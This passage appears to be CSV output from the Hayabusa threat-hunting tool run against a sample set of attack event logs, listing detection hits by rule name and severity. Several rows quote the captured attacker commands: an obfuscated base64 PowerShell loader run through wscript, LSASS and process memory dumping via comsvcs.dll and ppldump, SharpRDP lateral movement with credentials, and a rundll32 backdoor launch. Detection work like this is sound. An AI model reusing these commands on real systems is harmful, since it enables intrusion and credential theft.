([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFhYPUlFWCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3RlbS5UZXh0LkVuYycgKyBbY2hhcl0weDZmICsgJ2RpbmddOjpBJyArIFtjaGFyXTB4NTMgKyAnQ0lJLkdldCcgKyBbY2hhcl0weDUzICsgJ3RyaW5nKFsnICsgW2NoYXJdMHg1MyArICd5c3RlbS5DJyArIFtjaGFyXTB4NmYgKyAnbnZlcnRdOjpGcicgKyBbY2hhcl0weDZmICsgJ21CYXNlNicgKyBbY2hhcl0weDM0ICsgJycgKyBbY2hhcl0weDUzICsgJ3RyaW5nKChnZXQtYycgKyBbY2hhcl0weDZmICsgJ250ZW50IC1wYXRoICcnYzpcd2luZCcgKyBbY2hhcl0weDZmICsgJ3dzXHRlbXBccGljdHVyZS5qcGcnJykpKScpKTskQkI9SUVYKCgnc3RhcnQtc2xlZXAgMTA7JHM9JFhYOyRkID0gQCgpOyR2ID0gMDskYyA9IDA7d2hpbGUoJGMgLW5lICRzLmxlbmd0aCl7JHY9KCR2KjUyKSsoW0ludDMyXVtjaGFyXSRzWyRjXS0nICsgW2NoYXJdMHgzNCArICcwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtJRVgoWycgKyBbY2hhcl0weDUzICsgJ3RyaW5nXTo6SicgKyBbY2hhcl0weDZmICsgJ2luKCcnJycsJGQpKTs7JykpO0lFWCgkQkIp')))"""""" : Path: C:\Windows\System32\wscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 21:17:14.614 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\rundll32.exe"" zipfldr.dll,RouteTheCall shell:::{769f9427-3cc6-4b62-be14-2a705115b7ab} : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.614 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\windows\system32\wscript.exe"" /E:vbs c:\windows\temp\icon.ico ""powershell -exec bypass -c """"IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFhYPUlFWCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3RlbS5UZXh0LkVuYycgKyBbY2hhcl0weDZmICsgJ2RpbmddOjpBJyArIFtjaGFyXTB4NTMgKyAnQ0lJLkdldCcgKyBbY2hhcl0weDUzICsgJ3RyaW5nKFsnICsgW2NoYXJdMHg1MyArICd5c3RlbS5DJyArIFtjaGFyXTB4NmYgKyAnbnZlcnRdOjpGcicgKyBbY2hhcl0weDZmICsgJ21CYXNlNicgKyBbY2hhcl0weDM0ICsgJycgKyBbY2hhcl0weDUzICsgJ3RyaW5nKChnZXQtYycgKyBbY2hhcl0weDZmICsgJ250ZW50IC1wYXRoICcnYzpcd2luZCcgKyBbY2hhcl0weDZmICsgJ3dzXHRlbXBccGljdHVyZS5qcGcnJykpKScpKTskQkI9SUVYKCgnc3RhcnQtc2xlZXAgMTA7JHM9JFhYOyRkID0gQCgpOyR2ID0gMDskYyA9IDA7d2hpbGUoJGMgLW5lICRzLmxlbmd0aCl7JHY9KCR2KjUyKSsoW0ludDMyXVtjaGFyXSRzWyRjXS0nICsgW2NoYXJdMHgzNCArICcwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtJRVgoWycgKyBbY2hhcl0weDUzICsgJ3RyaW5nXTo6SicgKyBbY2hhcl0weDZmICsgJ2luKCcnJycsJGQpKTs7JykpO0lFWCgkQkIp')))"""""" : Path: C:\Windows\System32\wscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\rundll32.exe"" zipfldr.dll,RouteTheCall shell:::{769f9427-3cc6-4b62-be14-2a705115b7ab}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:48:15.921 +09:00,MSEDGEWIN10,4703,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/win10_4703_SeDebugPrivilege_enabled.evtx +2019-08-14 21:48:15.921 +09:00,MSEDGEWIN10,4703,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/win10_4703_SeDebugPrivilege_enabled.evtx +2019-08-23 21:37:37.100 +09:00,MSEDGEWIN10,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-23 21:37:37.100 +09:00,MSEDGEWIN10,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-23 21:37:38.521 +09:00,MSEDGEWIN10,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-23 21:37:38.521 +09:00,MSEDGEWIN10,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-30 21:54:07.873 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cscript c:\ProgramData\memdump.vbs notepad.exe : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:07.873 +09:00,MSEDGEWIN10,1,high,WScript or CScript Dropper,,rules/sigma/process_creation/win_malware_script_dropper.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.257 +09:00,MSEDGEWIN10,7,informational,WMI Modules Loaded,,rules/sigma/image_load/sysmon_wmi_module_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.354 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 C:\windows\system32\comsvcs.dll, MiniDump 4868 C:\Windows\System32\notepad.bin full : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.354 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.354 +09:00,MSEDGEWIN10,1,medium,Process Dump via Comsvcs DLL,,rules/sigma/process_creation/win_susp_comsvcs_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-09-01 20:54:22.450 +09:00,MSEDGEWIN10,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/spoolsample_5145.evtx +2019-09-03 20:04:07.207 +09:00,MSEDGEWIN10,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/tunna_iis_rdp_smb_tunneling_sysmon_3.evtx +2019-09-03 20:04:56.358 +09:00,MSEDGEWIN10,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/tunna_iis_rdp_smb_tunneling_sysmon_3.evtx +2019-09-09 04:17:44.249 +09:00,MSEDGEWIN10,13,low,Usage of Sysinternals Tools,,rules/sigma/registry_event/registry_event_sysinternals_eula_accepted.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_valid_account_guest_rid_hijack.evtx +2019-09-22 20:22:05.201 +09:00,MSEDGEWIN10,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-3461203602-4096304019-2269080069-501 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Network_Service_Guest_added_to_admins_4732.evtx +2019-09-22 20:23:19.251 +09:00,MSEDGEWIN10,4732,high,User added to local Administrators group,User: - : SID: S-1-5-20 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Network_Service_Guest_added_to_admins_4732.evtx +2019-11-03 22:51:58.263 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c set > c:\users\\public\netstat.txt : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\sqlsvc : Parent Command: ""c:\Program Files\Microsoft SQL Server\MSSQL10.SQLEXPRESS\MSSQL\Binn\sqlservr.exe"" -sSQLEXPRESS",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/sysmon_1_exec_via_sql_xpcmdshell.evtx +2019-11-03 22:51:58.263 +09:00,MSEDGEWIN10,1,critical,Suspicious Shells Spawn by SQL Server,,rules/sigma/process_creation/win_susp_shell_spawn_from_mssql.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/sysmon_1_exec_via_sql_xpcmdshell.evtx +2019-11-15 17:19:02.298 +09:00,alice.insecurebank.local,1102,high,Security log was cleared,User: bob,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/4624 LT3 AnonymousLogon Localhost - JuicyPotato.evtx +2019-11-15 17:19:17.134 +09:00,alice.insecurebank.local,4634,informational,Logoff,User: ANONYMOUS LOGON : LogonID: 0x1d12916,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/4624 LT3 AnonymousLogon Localhost - JuicyPotato.evtx +2020-01-15 05:44:50.353 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 url.dll,FileProtocolHandler ms-browser:// : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:50.353 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:50.353 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:51.016 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32 url.dll,FileProtocolHandler ms-browser://",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:51.122 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""cmd.exe"" /c notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.237 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 url.dll,OpenURL ms-browser:// : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.237 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.237 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.819 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32 url.dll,OpenURL ms-browser://",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.836 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""cmd.exe"" /c notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.044 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe /c start ms-browser:// : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.044 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.412 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd.exe /c start ms-browser://",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.447 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""cmd.exe"" /c notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:45.243 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: explorer ms-browser:// : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:45.243 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:45.293 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-24 04:09:34.052 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: SharpRDP.exe computername=192.168.56.1 command=""C:\Temp\file.exe"" username=domain\user password=password : Path: C:\ProgramData\USOShared\SharpRDP.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/sharprdp_sysmon_7_mstscax.dll.evtx +2020-02-10 17:28:12.856 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: Furutaka.exe dummy2.sys : Path: C:\Users\Public\BYOV\TDL\Furutaka.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DSE_bypass_BYOV_TDL_dummydriver_sysmon_6_7_13.evtx +2020-02-10 17:28:12.856 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DSE_bypass_BYOV_TDL_dummydriver_sysmon_6_7_13.evtx +2020-02-10 19:08:24.535 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: ppldump.exe -p lsass.exe -o a.png : Path: C:\Users\Public\BYOV\ZAM64\ppldump.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_BYOV_Zam64_CA_Memdump_sysmon_7_10.evtx +2020-02-10 19:08:24.535 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_BYOV_Zam64_CA_Memdump_sysmon_7_10.evtx +2020-02-10 19:08:24.666 +09:00,MSEDGEWIN10,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_BYOV_Zam64_CA_Memdump_sysmon_7_10.evtx +2020-03-07 22:17:39.984 +09:00,MSEDGEWIN10,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_SeImpersonatePriv_enabled_back_for_upnp_localsvc_4698.evtx +2020-03-09 07:11:34.340 +09:00,MSEDGEWIN10,4656,critical,LSASS Access from Non System Account,,rules/sigma/builtin/security/win_lsass_access_non_system_account.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_hashdump_4663_4656_lsass_access.evtx +2020-03-09 07:11:34.340 +09:00,MSEDGEWIN10,4656,high,Generic Password Dumper Activity on LSASS,,rules/sigma/builtin/security/win_susp_lsass_dump_generic.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_hashdump_4663_4656_lsass_access.evtx +2020-03-21 14:00:16.296 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: usoclient StartInteractiveScan : Path: C:\Windows\System32\UsoClient.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:17.980 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:17.992 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:17.997 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:18.007 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:18.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:18.046 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.189 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.195 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.215 